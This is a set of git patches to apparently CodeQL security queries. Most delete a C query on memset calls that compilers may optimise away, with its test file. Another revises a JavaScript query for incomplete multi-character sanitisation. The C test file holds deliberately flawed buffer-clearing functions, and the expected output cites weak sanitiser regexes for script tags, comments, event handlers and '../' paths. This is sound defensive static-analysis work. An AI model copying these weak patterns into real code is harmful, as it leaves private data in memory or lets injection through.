CompilerRemovalOfCodeToClearBuffers.ql sorry i was in a hurry --- .../CompilerRemovalOfCodeToClearBuffers.ql | 121 ------------------ 1 file changed, 121 deletions(-) delete mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql deleted file mode 100644 index fd53478cce6..00000000000 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql +++ /dev/null @@ -1,121 +0,0 @@ -/** - * @name Compiler Removal Of Code To Clear Buffers - * @description --Using the memset function to clear private data as a final expression when working with a variable is potentially dangerous because the compiler can optimize this call. - * --For some compilers, optimization is also possible when using calls to free memory after the memset function. - * --To clear it, you need to use the RtlSecureZeroMemory or memset_s functions, or compilation flags that exclude optimization of memset calls (-fno-builtin-memset). - * @kind problem - * @id cpp/compiler-removal-of-code-to-clear-buffers - * @problem.severity warning - * @precision medium - * @tags security - * external/cwe/cwe-14 - */ - -import cpp -import semmle.code.cpp.dataflow.DataFlow - -/** - * A call to `memset` , for some local variable. - */ -class CompilerRemovaMemset extends FunctionCall { - CompilerRemovaMemset() { - this.getTarget().hasName("memset") and - exists(DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, Expr exp | - DataFlow::localFlow(source, sink) and - this.getArgument(0) = isv.getAnAccess() and - source.asExpr() = exp and - exp.getLocation().getEndLine() < this.getArgument(0).getLocation().getStartLine() and - sink.asExpr() = this.getArgument(0) - ) - } - - predicate isExistsAllocForThisVariable() { - exists(FunctionCall alloc, Variable v | - alloc = v.getAnAssignedValue() and - this.getArgument(0) = v.getAnAccess() and - alloc.getASuccessor+() = this - ) - } - - predicate isExistsFreeForThisVariable() { - exists(FunctionCall free, Variable v | - free instanceof DeallocationExpr and - this.getArgument(0) = v.getAnAccess() and - free.getArgument(0) = v.getAnAccess() and - this.getASuccessor+() = free - ) - } - - predicate isExistsCallWithThisVariableExcludingDeallocationCalls() { - exists(FunctionCall fc, Variable v | - not fc instanceof DeallocationExpr and - this.getArgument(0) = v.getAnAccess() and - fc.getAnArgument() = v.getAnAccess() and - this.getASuccessor+() = fc - ) - } - - predicate isVariableUseAfterMemsetExcludingCalls() { - exists(DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, Expr exp | - DataFlow::localFlow(source, sink) and - this.getArgument(0) = isv.getAnAccess() and - source.asExpr() = isv.getAnAccess() and - exp.getLocation().getStartLine() > this.getArgument(2).getLocation().getEndLine() and - not exp.getParent() instanceof FunctionCall and - sink.asExpr() = exp - ) - } - - predicate isVariableUseBoundWithArgumentFunction() { - exists(DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, Parameter p, Expr exp | - DataFlow::localFlow(source, sink) and - this.getArgument(0) = isv.getAnAccess() and - this.getEnclosingFunction().getAParameter() = p and - exp.getAChild*() = p.getAnAccess() and - source.asExpr() = exp and - sink.asExpr() = isv.getAnAccess() - ) - } - - predicate isVariableUseBoundWithGlobalVariable() { - exists( - DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, GlobalVariable gv, Expr exp - | - DataFlow::localFlow(source, sink) and - this.getArgument(0) = isv.getAnAccess() and - exp.getAChild*() = gv.getAnAccess() and - source.asExpr() = exp and - sink.asExpr() = isv.getAnAccess() - ) - } - - predicate isExistsCompilationFlagsBlockingRemoval() { - exists(Compilation c | - c.getAFileCompiled() = this.getFile() and - c.getAnArgument() = "-fno-builtin-memset" - ) - } - - predicate isUseVCCompilation() { - exists(Compilation c | - c.getAFileCompiled() = this.getFile() and - ( - c.getArgument(2).toString().matches("%gcc%") or - c.getArgument(2).toString().matches("%g++%") or - c.getArgument(2).toString().matches("%clang%") or - c.getArgument(2).toString() = "--force-recompute" - ) - ) - } -} - -from CompilerRemovaMemset fc -where - not (fc.isExistsAllocForThisVariable() and not fc.isExistsFreeForThisVariable()) and - not (fc.isExistsFreeForThisVariable() and not fc.isUseVCCompilation()) and - not fc.isVariableUseAfterMemsetExcludingCalls() and - not fc.isExistsCallWithThisVariableExcludingDeallocationCalls() and - not fc.isVariableUseBoundWithArgumentFunction() and - not fc.isVariableUseBoundWithGlobalVariable() and - not fc.isExistsCompilationFlagsBlockingRemoval() -select fc.getArgument(0), "this variable will not be cleared" From d7a5e61f8eb4527bd3425d42225980e63cc415a7 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Mon, 11 Jan 2021 23:50:47 +0300 Subject: [PATCH 0515/1241] Delete CompilerRemovalOfCodeToClearBuffers.qhelp sorry i was in a hurry --- .../CompilerRemovalOfCodeToClearBuffers.qhelp | 31 ------------------- 1 file changed, 31 deletions(-) delete mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp deleted file mode 100644 index 89b4189a100..00000000000 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp +++ /dev/null @@ -1,31 +0,0 @@ -<!DOCTYPE qhelp PUBLIC - "-//Semmle//qhelp//EN" - "qhelp.dtd"> -<qhelp> -<overview> -<p>Compiler optimization will exclude the cleaning of private information. -Using the memset function to clear private data as a final expression when working with a variable is potentially dangerous, since the compiler can optimize this call. -For some compilers, optimization is also possible when using calls to free memory after the <code>memset</codee> function.</p> - -<p>It is possible to miss detection of vulnerabilities if used to clear fields of structures or parts of a buffer.</p> - -</overview> -<recommendation> - -<p>We recommend to use the <code>RtlSecureZeroMemory</code> or <code>memset_s</code> functions, or compilation flags that exclude optimization of <code>memset</code> calls (-fno-builtin-memset).</p> - -</recommendation> -<example> -<p>The following example demonstrates an erroneous and corrected use of the <code>memset</code> function.</p> -<sample src="CompilerRemovalOfCodeToClearBuffers.c" /> - -</example> -<references> - -<li> - CERT C Coding Standard: - <a href="https://wiki.sei.cmu.edu/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations">MSC06-C. Beware of compiler optimizations</a>. -</li> - -</references> -</qhelp> From 05f866e912cdaf9e117c14e6ed3f3dca175ab07d Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Mon, 11 Jan 2021 23:51:18 +0300 Subject: [PATCH 0516/1241] Delete CompilerRemovalOfCodeToClearBuffers.expected sorry i was in a hurry --- .../semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected | 3 --- 1 file changed, 3 deletions(-) delete mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected deleted file mode 100644 index fbb5a3f1552..00000000000 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected +++ /dev/null @@ -1,3 +0,0 @@ -| test.c:13:9:13:13 | buff1 | this variable will not be cleared | -| test.c:35:9:35:13 | buff1 | this variable will not be cleared | -| test.c:43:9:43:13 | buff1 | this variable will not be cleared | From b92d63d5dfeef29ae83932d4094670cc021ee7f1 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Mon, 11 Jan 2021 23:51:37 +0300 Subject: [PATCH 0517/1241] Delete CompilerRemovalOfCodeToClearBuffers.qlref sorry i was in a hurry --- .../semmle/tests/CompilerRemovalOfCodeToClearBuffers.qlref | 1 - 1 file changed, 1 deletion(-) delete mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.qlref diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.qlref deleted file mode 100644 index 61d2a29b126..00000000000 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.qlref +++ /dev/null @@ -1 +0,0 @@ -experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql From bbd3f7631ed5475d2bcc034b2857e485cbffa2dc Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Mon, 11 Jan 2021 23:52:26 +0300 Subject: [PATCH 0518/1241] Delete test.c sorry i was in a hurry --- .../Security/CWE/CWE-14/semmle/tests/test.c | 201 ------------------ 1 file changed, 201 deletions(-) delete mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/test.c diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/test.c deleted file mode 100644 index 221072330c3..00000000000 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/test.c +++ /dev/null @@ -1,201 +0,0 @@ -struct buffers -{ - unsigned char buff1[50]; - unsigned char *buff2; -} globalBuff1,*globalBuff2; - -unsigned char * globalBuff; -void badFunc0_0(){ - unsigned char buff1[12]; - int i; - for(i=0;i<12;i++) - buff1[i]=13; - memset(buff1,12,12); -} -void nobadFunc0_0(){ - unsigned char buff1[12]; - memset(buff1,12,12); -} -void nobadFunc0_1(){ - unsigned char buff1[12]; - int i; - memset(buff1,12,12); - for(i=0;i<12;i++) - buff1[i]=13; - free(buff1); -} -void nobadFunc1_0(){ - unsigned char * buff1; - buff1 = (unsigned char *) malloc(12); - memset(buff1,12,12); -} -void badFunc1_0(){ - unsigned char * buff1; - buff1 = (unsigned char *) malloc(12); - memset(buff1,12,12); - free(buff1); -} -void badFunc1_1(){ - unsigned char buff1[12]; - int i; - for(i=0;i<12;i++) - buff1[i]=13; - memset(buff1,12,12); - free(buff1); -} -void nobadFunc2_0_0(){ - unsigned char buff1[12]; - int i; - for(i=0;i<12;i++) - buff1[i]=13; - memset(buff1,12,12); - printf(buff1); -} - -void nobadFunc2_0_1(){ - unsigned char buff1[12]; - int i; - for(i=0;i<12;i++) - buff1[i]=13; - memset(buff1,12,12); - printf(buff1+3); -} - -void nobadFunc2_0_2(){ - unsigned char buff1[12]; - int i; - for(i=0;i<12;i++) - buff1[i]=13; - memset(buff1,12,12); - printf(*buff1); -} - -void nobadFunc2_0_3(){ - unsigned char buff1[12]; - int i; - for(i=0;i<12;i++) - buff1[i]=13; - memset(buff1,12,12); - printf(*(buff1+3)); -} -unsigned char * nobadFunc2_0_4(){ - unsigned char buff1[12]; - int i; - for(i=0;i<12;i++) - buff1[i]=13; - memset(buff1,12,12); - return buff1; -} - -unsigned char * nobadFunc2_0_5(){ - unsigned char buff1[12]; - int i; - for(i=0;i<12;i++) - buff1[i]=13; - memset(buff1,12,12); - return buff1+3; -} -unsigned char nobadFunc2_0_6(){ - unsigned char buff1[12]; - int i; - for(i=0;i<12;i++) - buff1[i]=13; - memset(buff1,12,12); - return *buff1; -} - -unsigned char nobadFunc2_0_7(){ - unsigned char buff1[12]; - int i; - for(i=0;i<12;i++) - buff1[i]=13; - memset(buff1,12,12); - return *(buff1+3); -} -void nobadFunc2_1_0(){ - unsigned char buff1[12]; - int i; - for(i=0;i<12;i++) - buff1[i]=13; - memset(buff1,12,12); - if(*buff1==0) - printf("123123"); -} -void nobadFunc2_1_1(){ - unsigned char buff1[12]; - int i; - for(i=0;i<12;i++) - buff1[i]=13; - memset(buff1,12,12); - if(*(buff1+3)==0) - printf("123123"); -} -void nobadFunc2_1_2(){ - unsigned char buff1[12]; - int i; - for(i=0;i<12;i++) - buff1[i]=13; - memset(buff1,12,12); - buff1[2]=5; -} -void nobadFunc3_0(unsigned char * buffAll){ - unsigned char * buff1 = buffAll; - memset(buff1,12,12); -} -void nobadFunc3_1(unsigned char * buffAll){ - unsigned char * buff1 = buffAll+3; - memset(buff1,12,12); -} -void nobadFunc3_2(struct buffers buffAll){ - unsigned char * buff1 = buffAll.buff1; - memset(buff1,12,12); -} -void nobadFunc3_3(struct buffers buffAll){ - unsigned char * buff1 = buffAll.buff2; - memset(buff1,12,12); -} -void nobadFunc3_4(struct buffers buffAll){ - unsigned char * buff1 = buffAll.buff2+3; - memset(buff1,12,12); -} -void nobadFunc3_5(struct buffers * buffAll){ - unsigned char * buff1 = buffAll->buff1; - memset(buff1,12,12); -} -void nobadFunc3_6(struct buffers *buffAll){ - unsigned char * buff1 = buffAll->buff2; - memset(buff1,12,12); -} -void nobadFunc4(){ - unsigned char * buff1 = globalBuff; - memset(buff1,12,12); -} -void nobadFunc4_0(){ - unsigned char * buff1 = globalBuff; - memset(buff1,12,12); -} -void nobadFunc4_1(){ - unsigned char * buff1 = globalBuff+3; - memset(buff1,12,12); -} -void nobadFunc4_2(){ - unsigned char * buff1 = globalBuff1.buff1; - memset(buff1,12,12); -} -void nobadFunc4_3(){ - unsigned char * buff1 = globalBuff1.buff2; - memset(buff1,12,12); -} -void nobadFunc4_4(){ - unsigned char * buff1 = globalBuff1.buff2+3; - memset(buff1,12,12); -} -void nobadFunc4_5(){ - unsigned char * buff1 = globalBuff2->buff1; - memset(buff1,12,12); -} -void nobadFunc4_6(){ - unsigned char * buff1 = globalBuff2->buff2; - memset(buff1,12,12); -} - From 40cfbab335370d674fbf9b704381e0d88c473ce3 Mon Sep 17 00:00:00 2001 From: Esben Sparre Andreasen <esbena@github.com> Date: Tue, 12 Jan 2021 08:25:16 +0100 Subject: [PATCH 0519/1241] JS: address review feedback --- .../IncompleteMultiCharacterSanitization.ql | 9 ++- ...ompleteMultiCharacterSanitization.expected | 66 +++++++++---------- 2 files changed, 37 insertions(+), 38 deletions(-) diff --git a/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql b/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql index cef10d3cbe7..3ae30ffe15b 100644 --- a/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql +++ b/javascript/ql/src/Security/CWE-116/IncompleteMultiCharacterSanitization.ql @@ -89,13 +89,13 @@ predicate matchesDangerousPrefix(EmptyReplaceRegExpTerm t, string prefix, string kind = "path injection" and // upwards navigation prefix = ["/..", "../"] and - not t.getSuccessor*().getAMatchedString().regexpMatch("(?i).*[a-z0-9_-]+.*") // explicit path name mentions make this an unlikely sanitizer + not t.getSuccessor*().getAMatchedString().regexpMatch("(?is).*[a-z0-9_-].*") // explicit path name mentions make this an unlikely sanitizer or kind = "HTML element injection" and ( // comments prefix = "<!--" and - not t.getSuccessor*().getAMatchedString().regexpMatch("(?i).*[a-z0-9_]+.*") // explicit comment content mentions make this an unlikely sanitizer + not t.getSuccessor*().getAMatchedString().regexpMatch("(?is).*[a-z0-9_].*") // explicit comment content mentions make this an unlikely sanitizer or // specific tags prefix = "<" + ["iframe", "script", "cript", "scrip", "style"] // the `cript|scrip` case has been observed in the wild several times @@ -159,6 +159,5 @@ where not replace.getAMethodCall*().flowsTo(replace.getReceiver()) and // avoid anchored terms not exists(RegExpAnchor a | regexp = a.getRootTerm()) -select replace, - "This string may still contain a substring that starts matching at $@, which may cause a " + kind + - " vulnerability.", dangerous, prefix +select replace, "This string may still contain $@, which may cause a " + kind + " vulnerability.", + dangerous, prefix diff --git a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected index 048109da744..9403b43cd43 100644 --- a/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected +++ b/javascript/ql/test/query-tests/Security/CWE-116/IncompleteSanitization/IncompleteMultiCharacterSanitization.expected @@ -1,33 +1,33 @@ -| tst-multi-character-sanitization.js:3:13:3:57 | content ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:3:30:3:30 | < | <cript | -| tst-multi-character-sanitization.js:4:13:4:47 | content ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:4:30:4:40 | on\\w+=".*" | on | -| tst-multi-character-sanitization.js:5:13:5:49 | content ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:5:30:5:42 | on\\w+=\\'.*\\' | on | -| tst-multi-character-sanitization.js:9:13:9:47 | content ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:9:30:9:30 | < | <cript | -| tst-multi-character-sanitization.js:10:13:10:49 | content ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:10:30:10:42 | .on\\w+=.*".*" | on | -| tst-multi-character-sanitization.js:11:13:11:51 | content ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:11:30:11:44 | .on\\w+=.*\\'.*\\' | on | -| tst-multi-character-sanitization.js:19:3:19:35 | respons ... pt, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:18:18:18:24 | <script | <script | -| tst-multi-character-sanitization.js:25:10:25:40 | text.re ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:25:24:25:27 | <!-- | <!-- | -| tst-multi-character-sanitization.js:49:13:49:43 | req.url ... EL, "") | This string may still contain a substring that starts matching at $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:48:22:48:23 | \\/ | /.. | -| tst-multi-character-sanitization.js:64:7:64:73 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:64:18:64:24 | <script | <script | -| tst-multi-character-sanitization.js:66:7:66:56 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:66:18:66:49 | (\\/\|\\s)on\\w+=(\\'\|")?[^"]*(\\'\|")? | on | -| tst-multi-character-sanitization.js:75:7:75:37 | x.repla ... gm, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:75:18:75:21 | <!-- | <!-- | -| tst-multi-character-sanitization.js:76:7:76:35 | x.repla ... +/, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:76:18:76:29 | \\sng-[a-z-]+ | ng- | -| tst-multi-character-sanitization.js:77:7:77:36 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:77:18:77:29 | \\sng-[a-z-]+ | ng- | -| tst-multi-character-sanitization.js:81:7:81:58 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:81:36:81:39 | only | on | -| tst-multi-character-sanitization.js:81:7:81:58 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:81:18:81:24 | <script | <script | -| tst-multi-character-sanitization.js:83:7:83:63 | x.repla ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:83:18:83:21 | <!-- | <!-- | -| tst-multi-character-sanitization.js:85:7:85:48 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:85:18:85:21 | \\x2E | ../ | -| tst-multi-character-sanitization.js:87:7:87:47 | x.repla ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:87:18:87:24 | <script | <script | -| tst-multi-character-sanitization.js:92:7:96:4 | x.repla ... ";\\n }) | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:92:18:92:24 | <script | <script | -| tst-multi-character-sanitization.js:101:7:101:30 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:101:18:101:19 | \\. | ../ | -| tst-multi-character-sanitization.js:102:7:102:30 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:102:18:102:19 | \\/ | /.. | -| tst-multi-character-sanitization.js:104:7:104:58 | x.repla ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:104:18:104:24 | <script | <script | -| tst-multi-character-sanitization.js:106:7:106:64 | x.repla ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:106:18:106:18 | < | <script | -| tst-multi-character-sanitization.js:107:7:107:62 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:107:18:107:19 | \\< | <script | -| tst-multi-character-sanitization.js:108:7:108:75 | x.repla ... gm, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:108:18:108:18 | < | <script | -| tst-multi-character-sanitization.js:109:7:109:58 | x.repla ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:109:18:109:24 | <script | <script | -| tst-multi-character-sanitization.js:110:7:110:50 | x.repla ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:110:18:110:24 | <script | <script | -| tst-multi-character-sanitization.js:111:7:111:32 | x.repla ... /g, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:111:18:111:19 | ? | <!-- | -| tst-multi-character-sanitization.js:126:7:129:34 | x\\n . ... //, "") | This string may still contain a substring that starts matching at $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:129:15:129:20 | [^\\/]* | /.. | -| tst-multi-character-sanitization.js:135:2:135:44 | content ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:135:19:135:25 | <script | <script | -| tst-multi-character-sanitization.js:136:2:136:46 | content ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:136:19:136:19 | < | <script | -| tst-multi-character-sanitization.js:138:2:138:48 | content ... gi, "") | This string may still contain a substring that starts matching at $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:138:19:138:20 | .* | <script | +| tst-multi-character-sanitization.js:3:13:3:57 | content ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:3:30:3:30 | < | <cript | +| tst-multi-character-sanitization.js:4:13:4:47 | content ... /g, "") | This string may still contain $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:4:30:4:40 | on\\w+=".*" | on | +| tst-multi-character-sanitization.js:5:13:5:49 | content ... /g, "") | This string may still contain $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:5:30:5:42 | on\\w+=\\'.*\\' | on | +| tst-multi-character-sanitization.js:9:13:9:47 | content ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:9:30:9:30 | < | <cript | +| tst-multi-character-sanitization.js:10:13:10:49 | content ... /g, "") | This string may still contain $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:10:30:10:42 | .on\\w+=.*".*" | on | +| tst-multi-character-sanitization.js:11:13:11:51 | content ... /g, "") | This string may still contain $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:11:30:11:44 | .on\\w+=.*\\'.*\\' | on | +| tst-multi-character-sanitization.js:19:3:19:35 | respons ... pt, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:18:18:18:24 | <script | <script | +| tst-multi-character-sanitization.js:25:10:25:40 | text.re ... /g, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:25:24:25:27 | <!-- | <!-- | +| tst-multi-character-sanitization.js:49:13:49:43 | req.url ... EL, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:48:22:48:23 | \\/ | /.. | +| tst-multi-character-sanitization.js:64:7:64:73 | x.repla ... /g, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:64:18:64:24 | <script | <script | +| tst-multi-character-sanitization.js:66:7:66:56 | x.repla ... /g, "") | This string may still contain $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:66:18:66:49 | (\\/\|\\s)on\\w+=(\\'\|")?[^"]*(\\'\|")? | on | +| tst-multi-character-sanitization.js:75:7:75:37 | x.repla ... gm, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:75:18:75:21 | <!-- | <!-- | +| tst-multi-character-sanitization.js:76:7:76:35 | x.repla ... +/, "") | This string may still contain $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:76:18:76:29 | \\sng-[a-z-]+ | ng- | +| tst-multi-character-sanitization.js:77:7:77:36 | x.repla ... /g, "") | This string may still contain $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:77:18:77:29 | \\sng-[a-z-]+ | ng- | +| tst-multi-character-sanitization.js:81:7:81:58 | x.repla ... /g, "") | This string may still contain $@, which may cause a HTML attribute injection vulnerability. | tst-multi-character-sanitization.js:81:36:81:39 | only | on | +| tst-multi-character-sanitization.js:81:7:81:58 | x.repla ... /g, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:81:18:81:24 | <script | <script | +| tst-multi-character-sanitization.js:83:7:83:63 | x.repla ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:83:18:83:21 | <!-- | <!-- | +| tst-multi-character-sanitization.js:85:7:85:48 | x.repla ... /g, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:85:18:85:21 | \\x2E | ../ | +| tst-multi-character-sanitization.js:87:7:87:47 | x.repla ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:87:18:87:24 | <script | <script | +| tst-multi-character-sanitization.js:92:7:96:4 | x.repla ... ";\\n }) | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:92:18:92:24 | <script | <script | +| tst-multi-character-sanitization.js:101:7:101:30 | x.repla ... /g, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:101:18:101:19 | \\. | ../ | +| tst-multi-character-sanitization.js:102:7:102:30 | x.repla ... /g, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:102:18:102:19 | \\/ | /.. | +| tst-multi-character-sanitization.js:104:7:104:58 | x.repla ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:104:18:104:24 | <script | <script | +| tst-multi-character-sanitization.js:106:7:106:64 | x.repla ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:106:18:106:18 | < | <script | +| tst-multi-character-sanitization.js:107:7:107:62 | x.repla ... /g, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:107:18:107:19 | \\< | <script | +| tst-multi-character-sanitization.js:108:7:108:75 | x.repla ... gm, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:108:18:108:18 | < | <script | +| tst-multi-character-sanitization.js:109:7:109:58 | x.repla ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:109:18:109:24 | <script | <script | +| tst-multi-character-sanitization.js:110:7:110:50 | x.repla ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:110:18:110:24 | <script | <script | +| tst-multi-character-sanitization.js:111:7:111:32 | x.repla ... /g, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:111:18:111:19 | ? | <!-- | +| tst-multi-character-sanitization.js:126:7:129:34 | x\\n . ... //, "") | This string may still contain $@, which may cause a path injection vulnerability. | tst-multi-character-sanitization.js:129:15:129:20 | [^\\/]* | /.. | +| tst-multi-character-sanitization.js:135:2:135:44 | content ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:135:19:135:25 | <script | <script | +| tst-multi-character-sanitization.js:136:2:136:46 | content ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | tst-multi-character-sanitization.js:136:19:136:19 | < | <script | +| tst-multi-character-sanitization.js:138:2:138:48 | content ... gi, "") | This string may still contain $@, which may cause a HTML element injection vulnerability. | 